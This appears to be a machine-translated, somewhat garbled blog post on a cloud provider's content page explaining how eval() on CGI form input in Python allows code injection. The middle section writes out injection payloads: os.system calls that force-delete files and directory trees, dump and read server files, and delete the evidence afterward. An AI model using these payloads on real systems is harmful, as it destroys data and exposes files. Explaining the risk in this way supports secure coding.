Python eval () function Risk Analysis

Source: Internet
Author: User

In general, Python's eval () function can change the string "123" to 123 of the numeric type, but PP3E says it is dangerous and can execute other commands!

Perform some experiments on this. Sure enough, it is very dangerous to use eval () instead of int () in a cgi program written in python to convert content in input boxes such as age. You can not only view and list all system files, but also delete files and view dangerous operations such as the file source code!

I tried to write a program and want to write the local script file to a file on the server in one row in the same form. The final failure occurs when the line break "/n" cannot be entered ", if there is a line break in the submitted statement, an error message of EOL will appear, and the encoding method still fails.
 
There is a window for submitting a name on the webpage. Here we will just change it as an example. Otherwise, the name will not be converted using the eval function, but it is very easy to get older. This file (http: // localhost/tutor4.html) is imported into the OS.

line1 = "Hello, %s." % eval(form['user'].value)

(1)

OS. system ('del */Q') # delete all files (excluding folders) in the current directory ).

OS. system calls commands of the current system (such as windows)

/Q
Specifies the force status. You are not prompted to confirm deletion.

(2) If you delete a folder, use rmdir

/S
Delete the specified directory, all subdirectories, and all files contained in the directory. Use/s to delete the directory tree.

/Q
Run rmdir in quiet mode. The directory is deleted without confirmation.

os.system('rmdir d:/workspace /s/q')

(3) list all file OS. system ('dir '). After the dir command is successfully executed, the system returns 0, so the returned content is only Hello, 0. but on the server, it is actually listed. If there is a log, it may be discovered. Submit OS. system ('dir> dir.txt '). Access http: // localhost/dir.txt and all files and folders are exposed. Do you want to check the source code? If you use OS. system ('Type target. py') again, if the command is successfully completed, the system will return Hello, 0. Put another file and access that file again? Open ('target. py'). read ()

As a result, you can list and view the content in other folders.

If nothing is wrong, delete dir.txt to avoid being discovered. OS. system ('del dir.txt/Q ')

Import the OS and run the following command:

__import__('os').system('dir >dir.txt')

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.